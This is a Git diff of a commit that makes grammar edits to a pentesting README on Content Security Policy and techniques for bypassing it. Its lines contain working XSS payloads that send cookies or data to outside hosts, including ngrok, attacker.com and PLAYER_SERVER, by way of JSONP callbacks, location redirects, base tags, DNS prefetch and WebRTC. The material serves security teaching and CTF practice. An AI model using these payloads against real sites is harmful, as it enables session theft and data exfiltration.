Update README.md
This commit is contained in:
Taleb Qasem
GitHub
parent
0083ed7909
commit
ea047f73fe
|
|
@ -18,7 +18,7 @@
|
|||
|
||||
## What is CSP
|
||||
|
||||
Content Security Policy or CSP is a built-in browser technology which **helps protect from attacks such as cross-site scripting (XSS)**. It lists and describes paths and sources, from which the browser can safely load resources. The resources may include images, frames, javascript and more. Here is an example of allowing resource from the local domain (self) to be loaded and executed in-line and allow string code executing functions like `eval`, `setTimeout` or `setInterval:`
|
||||
Content Security Policy or CSP is a built-in browser technology which **helps protect from attacks such as cross-site scripting (XSS)**. It lists and describes paths and sources, from which the browser can safely load resources. The resources may include images, frames, javascript and more. Here is an example of resources being allowed from the local domain (self) to be loaded and executed in-line and allow string code executing functions like `eval`, `setTimeout` or `setInterval:`
|
||||
|
||||
Content Security Policy is implemented via **response headers** or **meta elements of the HTML page**. The browser follows the received policy and actively blocks violations as they are detected.
|
||||
|
||||
|
|
@ -37,11 +37,11 @@ Implemented via meta tag:
|
|||
### Headers
|
||||
|
||||
* `Content-Security-Policy`
|
||||
* `Content-Security-Policy-Report-Only`This one won't block anything, only send reports (use in Pre environment).
|
||||
* `Content-Security-Policy-Report-Only` This one won't block anything, only send reports (use in Pre environment).
|
||||
|
||||
## Defining resources
|
||||
|
||||
CSP works by restricting the origins that active and passive content can be loaded from. It can additionally restrict certain aspects of active content such as the execution of inline javascript, and the use of `eval()`.
|
||||
CSP works by restricting the origins from where active and passive content can be loaded from. It can additionally restrict certain aspects of active content such as the execution of inline javascript, and the use of `eval()`.
|
||||
|
||||
```
|
||||
default-src 'none';
|
||||
|
|
@ -58,20 +58,20 @@ object-src 'none';
|
|||
### Directives
|
||||
|
||||
* **script-src**: This directive specifies allowed sources for JavaScript. This includes not only URLs loaded directly into elements, but also things like inline script event handlers (onclick) and XSLT stylesheets which can trigger script execution.
|
||||
* **default-src**: This directive defines the policy for fetching resources by default. When fetch directives are absent in CSP header the browser follows this directive by default.
|
||||
* **default-src**: This directive defines the policy for fetching resources by default. When fetch directives are absent in the CSP header the browser follows this directive by default.
|
||||
* **Child-src**: This directive defines allowed resources for web workers and embedded frame contents.
|
||||
* **connect-src**: This directive restricts URLs to load using interfaces like fetch, websocket, XMLHttpRequest
|
||||
* **frame-src**: This directive restricts URLs to which frames can be called out.
|
||||
* **frame-src**: This directive restricts URLs to frames that can be called out.
|
||||
* **frame-ancestors**: This directive specifies the sources that can embed the current page. This directive applies to [`<frame>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/frame), [`<iframe>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe), [`<object>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/object), [`<embed>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/embed), or [`<applet>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/applet). This directive can't be used in tags and applies only to non-HTML resources.
|
||||
* **img-src**: It defines allowed sources to load images on the web page.
|
||||
* **font-src:** directive specifies valid sources for fonts loaded using `@font-face`.
|
||||
* **manifest-src**: This directive defines allowed sources of application manifest files.
|
||||
* **media-src**: It defines allowed sources from where media objects like , and can be loaded.
|
||||
* **media-src**: It defines allowed sources from where media objects can be loaded.
|
||||
* **object-src**: It defines allowed sources for the \<object>, \<embed>, and \<applet> elements elements.
|
||||
* **base-uri**: It defines allowed URLs which can be loaded using element.
|
||||
* **base-uri**: It defines allowed URLs which can be loaded using an element.
|
||||
* **form-action**: This directive lists valid endpoints for submission from tags.
|
||||
* **plugin-types**: It defines limits the kinds of mime types a page may invoke.
|
||||
* **upgrade-insecure-requests**: This directive instructs browsers to rewrite URL schemes, changing HTTP to HTTPS. This directive can be useful for websites with large numbers of old URL's that need to be rewritten.
|
||||
* **plugin-types**: It defines limits on the kinds of mime types a page may invoke.
|
||||
* **upgrade-insecure-requests**: This directive instructs browsers to rewrite URL schemes, changing HTTP to HTTPS. This directive can be useful for websites with large numbers of old URLs that need to be rewritten.
|
||||
* **sandbox**: sandbox directive enables a sandbox for the requested resource similar to the sandbox attribute. It applies restrictions to a page's actions including preventing popups, preventing the execution of plugins and scripts, and enforcing a same-origin policy.
|
||||
|
||||
### **Sources**
|
||||
|
|
@ -80,8 +80,8 @@ object-src 'none';
|
|||
* **self**: This source defines that loading of resources on the page is allowed from the same domain.
|
||||
* **data**: This source allows loading resources via the data scheme (eg Base64 encoded images)
|
||||
* **none**: This directive allows nothing to be loaded from any source.
|
||||
* **unsafe-eval**: This allows the use of eval() and similar methods for creating code from strings. This is not a safe practice to include this source in any directive. For the same reason it is named as unsafe.
|
||||
* **unsafe-hashes**: This allows to enable specific inline event handlers.
|
||||
* **unsafe-eval**: This allows the use of eval() and similar methods for creating code from strings. This is not a safe practice to include this source in any directive. For the same reason, it is named unsafe.
|
||||
* **unsafe-hashes**: This allows to enable of specific inline event handlers.
|
||||
* **unsafe-inline**: This allows the use of inline resources, such as inline elements, javascript: URLs, inline event handlers, and inline elements. Again this is not recommended for security reasons.
|
||||
* **nonce**: A whitelist for specific inline scripts using a cryptographic nonce (number used once). The server must generate a unique nonce value each time it transmits a policy.
|
||||
* **sha256-\<hash>**: Whitelist scripts with an specific sha256 hash
|
||||
|
|
@ -157,7 +157,7 @@ Working payload:
|
|||
|
||||
However, it's highly probable that the server is **validating the uploaded file** and will only allow you to **upload determined type of files**.
|
||||
|
||||
Moreover, even if you could upload a **JS code inside** a file using a extension accepted by the server (like: _script.png_) this won't be enough because some servers like apache server **selects MIME type of the file based on the extension** and browsers like Chrome will **reject to execute Javascript** code inside something that should be an image. "Hopefully", there are mistakes. For example, from a CTF I learnt that **Apache doesn't know** the _**.wave**_ extension, therefore it doesn't serve it with a **MIME type like audio/\***.
|
||||
Moreover, even if you could upload a **JS code inside** a file using an extension accepted by the server (like: _script.png_) this won't be enough because some servers like apache server **select MIME type of the file based on the extension** and browsers like Chrome will **reject to execute Javascript** code inside something that should be an image. "Hopefully", there are mistakes. For example, from a CTF I learnt that **Apache doesn't know** the _**.wave**_ extension, therefore it doesn't serve it with a **MIME type like audio/\***.
|
||||
|
||||
From here, if you find a XSS and a file upload, and you manage to find a **misinterpreted extension**, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
|
|
@ -203,14 +203,14 @@ Scenarios like this where `script-src` is set to `self` and a particular domain
|
|||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
```
|
||||
|
||||
[JSONBee](https://github.com/zigoo0/JSONBee) contains a ready to use JSONP endpoints to CSP bypass of different websites.
|
||||
[JSONBee](https://github.com/zigoo0/JSONBee) contains ready to use JSONP endpoints to CSP bypass of different websites.
|
||||
|
||||
The same vulnerability will occur if the **trusted endpoint contains an Open Redirect**, because if the initial endpoint is trusted, redirects are trusted.
|
||||
The same vulnerability will occur if the **trusted endpoint contains an Open Redirect** because if the initial endpoint is trusted, redirects are trusted.
|
||||
|
||||
### Folder path bypass
|
||||
|
||||
If CSP policy points to a folder and you use **%2f** to encode **"/"**, it is still considered to be inside the folder. All browsers seem to agree on that.\
|
||||
This leads to a possible bypass, by using "**%2f..%2f**" if server decodes it. For example, if CSP allows `http://example.com/company/` you can bypass the folder restriction and execute: `http://example.com/company%2f..%2fattacker/file.js`
|
||||
If CSP policy points to a folder and you use **%2f** to encode **"/"**, it is still considered to be inside the folder. All browsers seem to agree with that.\
|
||||
This leads to a possible bypass, by using "**%2f..%2f**" if the server decodes it. For example, if CSP allows `http://example.com/company/` you can bypass the folder restriction and execute: `http://example.com/company%2f..%2fattacker/file.js`
|
||||
|
||||
Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
|
||||
|
|
@ -225,7 +225,7 @@ Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.
|
|||
If the **base-uri** directive is missing you can abuse it to perform a [**dangling markup injection**](../dangling-markup-html-scriptless-injection.md).
|
||||
|
||||
Moreover, if the **page is loading a script using a relative path** (like `/js/app.js`) using a **Nonce**, you can abuse the **base** **tag** to make it **load** the script from **your own server achieving a XSS.**\
|
||||
If the vulnerable page is loaded with **httpS**, make use a httpS url in the base.
|
||||
If the vulnerable page is loaded with **httpS**, make use an httpS url in the base.
|
||||
|
||||
```html
|
||||
<base href="https://www.attacker.com/">
|
||||
|
|
@ -248,7 +248,7 @@ Depending on the specific policy, the CSP will block JavaScript events. However,
|
|||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||||
```
|
||||
|
||||
If the application is using angular JS and scripts are loaded from a whitelisted domain. It is possible to bypass this CSP policy by calling callback functions and vulnerable class. For more details visit this awesome [git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22) repo.
|
||||
If the application is using angular JS and scripts are loaded from a whitelisted domain. It is possible to bypass this CSP policy by calling callback functions and vulnerable classes. For more details visit this awesome [git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22) repo.
|
||||
|
||||
Working payloads:
|
||||
|
||||
|
|
@ -272,7 +272,7 @@ default-src 'self' 'unsafe-inline'; img-src *;
|
|||
|
||||
`'unsafe-inline'` means that you can execute any script inside the code (XSS can execute code) and `img-src *` means that you can use in the webpage any image from any resource.
|
||||
|
||||
You can bypass this CSP exfiltrating the data via images (in this occasion the XSS abuses a CSRF where a page accessible by the bot contains a SQLi, and extract the flag via an image):
|
||||
You can bypass this CSP by exfiltrating the data via images (in this occasion the XSS abuses a CSRF where a page accessible by the bot contains an SQLi, and extract the flag via an image):
|
||||
|
||||
```javascript
|
||||
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
|
||||
|
|
@ -280,7 +280,7 @@ You can bypass this CSP exfiltrating the data via images (in this occasion the X
|
|||
|
||||
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
You could also abuse this configuration to **load javascript code inserted inside an image**. If for example, the page allows to load images from twitter. You could **craft** an **special image**, **upload** it to twitter and abuse the "**unsafe-inline**" to **execute** a JS code (as a regular XSS) that will **load** the **image**, **extract** the **JS** from it and **execute** **it**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
You could also abuse this configuration to **load javascript code inserted inside an image**. If for example, the page allows loading images from Twitter. You could **craft** an **special image**, **upload** it to Twitter and abuse the "**unsafe-inline**" to **execute** a JS code (as a regular XSS) that will **load** the **image**, **extract** the **JS** from it and **execute** **it**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### img-src \*; via XSS (iframe) - Time attack
|
||||
|
||||
|
|
@ -356,8 +356,8 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
|
|||
|
||||
### Leaking Information CSP + Iframe
|
||||
|
||||
Imagine a situation where a **page is redirecting** to a different **page with a secret depending** on the **user**. For example the user **admin** accessing **redirectme.domain1.com** is redirected to: **adminsecret321.domain2.com** and you can cause a XSS to the admin.\
|
||||
**Also the page redirected isn't allowed by the security policy, but the page that redirects is.**
|
||||
Imagine a situation where a **page is redirecting** to a different **page with a secret depending** on the **user**. For example, the user **admin** accessing **redirectme.domain1.com** is redirected to **adminsecret321.domain2.com** and you can cause an XSS to the admin.\
|
||||
**Also pages that are redirected aren't allowed by the security policy, but the page that redirects is.**
|
||||
|
||||
You can leak the domain where the admin is redirected through:
|
||||
|
||||
|
|
@ -378,8 +378,8 @@ Trick from [**here**](https://ctftime.org/writeup/29310).
|
|||
|
||||
### PHP response buffer overload
|
||||
|
||||
PHP is known for **buffering the response to 4096** bytes by default. Therefore, if PHP is showing warning, by providing **enough data inside warnings**, the **response** will be **sent** **before** the **CSP header**, causing the header to be ignored.\
|
||||
Then, the technique consist basically in filling the response buffer with warnings so the CSP header isn't sent.
|
||||
PHP is known for **buffering the response to 4096** bytes by default. Therefore, if PHP is showing a warning, by providing **enough data inside warnings**, the **response** will be **sent** **before** the **CSP header**, causing the header to be ignored.\
|
||||
Then, the technique consists basically in filling the response buffer with warnings so the CSP header isn't sent.
|
||||
|
||||
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
|
||||
|
|
@ -396,7 +396,7 @@ setTimeout(function() {
|
|||
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
SOME is a technique that abuses a XSS (or highly limited XSS) **in an endpoint of a page** to **abuse** **other endpoints of the same origin.** This is done by loading the vulnerable endpoint from an attacker page and then refreshing the attacker page to the real endpoint in the same origin you want to abuse. This way the **vulnerable endpoint** can use the **`opener`** object in the **payload** to **access the DOM** of the **real endpoint to abuse**. For more information check:
|
||||
SOME is a technique that abuses an XSS (or highly limited XSS) **in an endpoint of a page** to **abuse** **other endpoints of the same origin.** This is done by loading the vulnerable endpoint from an attacker page and then refreshing the attacker page to the real endpoint in the same origin you want to abuse. This way the **vulnerable endpoint** can use the **`opener`** object in the **payload** to **access the DOM** of the **real endpoint to abuse**. For more information check:
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
|
||||
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
|
||||
|
|
@ -404,16 +404,16 @@ SOME is a technique that abuses a XSS (or highly limited XSS) **in an endpoint o
|
|||
|
||||
Moreover, **wordpress** has a **JSONP** endpoint in `/wp-json/wp/v2/users/1?_jsonp=data` that will **reflect** the **data** sent in the output (with the limitation of only letter, numbers and dots).
|
||||
|
||||
An attacker can abuse that endpoint to **generate a SOME attack** against wordpress and **embed** it inside `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` note that this **script** will be **loaded** because it's **allowed by 'self'**. Moreover, and because Wordpress is installed, an attacker might abuse the **SOME attack** through the **vulnerable** **callback** endpoint that **bypass the CSP** to give more privileges to a user, install a new plugin...\
|
||||
An attacker can abuse that endpoint to **generate a SOME attack** against WordPress and **embed** it inside `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` note that this **script** will be **loaded** because it's **allowed by 'self'**. Moreover, and because WordPress is installed, an attacker might abuse the **SOME attack** through the **vulnerable** **callback** endpoint that **bypasses the CSP** to give more privileges to a user, install a new plugin...\
|
||||
For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## CSP Exfiltration Bypasses
|
||||
|
||||
If there is a strict CSP that doesn't allow you to **interact with external servers**, there some things you can always do to exfiltrate the information.
|
||||
If there is a strict CSP that doesn't allow you to **interact with external servers**, there are some things you can always do to exfiltrate the information.
|
||||
|
||||
### Location
|
||||
|
||||
You could just update the location to send to the attackers server the secret information:
|
||||
You could just update the location to send to the attacker's server the secret information:
|
||||
|
||||
```javascript
|
||||
var sessionid = document.cookie.split('=')[1]+".";
|
||||
|
|
@ -422,7 +422,7 @@ document.location = "https://attacker.com/?" + sessionid;
|
|||
|
||||
### Meta tag
|
||||
|
||||
You could redirect injecting a meta tag (this is just a redirect, this won't leak content)
|
||||
You could redirect by injecting a meta tag (this is just a redirect, this won't leak content)
|
||||
|
||||
```html
|
||||
<meta http-equiv="refresh" content="1; http://attacker.com">
|
||||
|
|
@ -430,7 +430,7 @@ You could redirect injecting a meta tag (this is just a redirect, this won't lea
|
|||
|
||||
### DNS Prefetch
|
||||
|
||||
To load pages faster, browsers are going to pre-resolve hostnames into IP addresses and cache them for a later usage.\
|
||||
To load pages faster, browsers are going to pre-resolve hostnames into IP addresses and cache them for later usage.\
|
||||
You can indicate a browser to pre-resolve a hostname with: `<link reol="dns-prefetch" href="something.com">`
|
||||
|
||||
You could abuse this behaviour to **exfiltrate sensitive information via DNS requests**:
|
||||
|
|
@ -457,12 +457,12 @@ X-DNS-Prefetch-Control: off
|
|||
```
|
||||
|
||||
{% hint style="info" %}
|
||||
Apparently this technique doesn't work in headless browsers (bots)
|
||||
Apparently, this technique doesn't work in headless browsers (bots)
|
||||
{% endhint %}
|
||||
|
||||
### WebRTC
|
||||
|
||||
In several pages you can read that **WebRTC doesn't check the `connect-src` policy** of the CSP.
|
||||
On several pages you can read that **WebRTC doesn't check the `connect-src` policy** of the CSP.
|
||||
|
||||
```javascript
|
||||
var pc = new RTCPeerConnection({"iceServers":[{"urls":["turn:74.125.140.127:19305?transport=udp"],"username":"_all_your_data_belongs_to_us","credential":"."}]});
|
||||
|
|
|
|||
Loading…
Reference in New Issue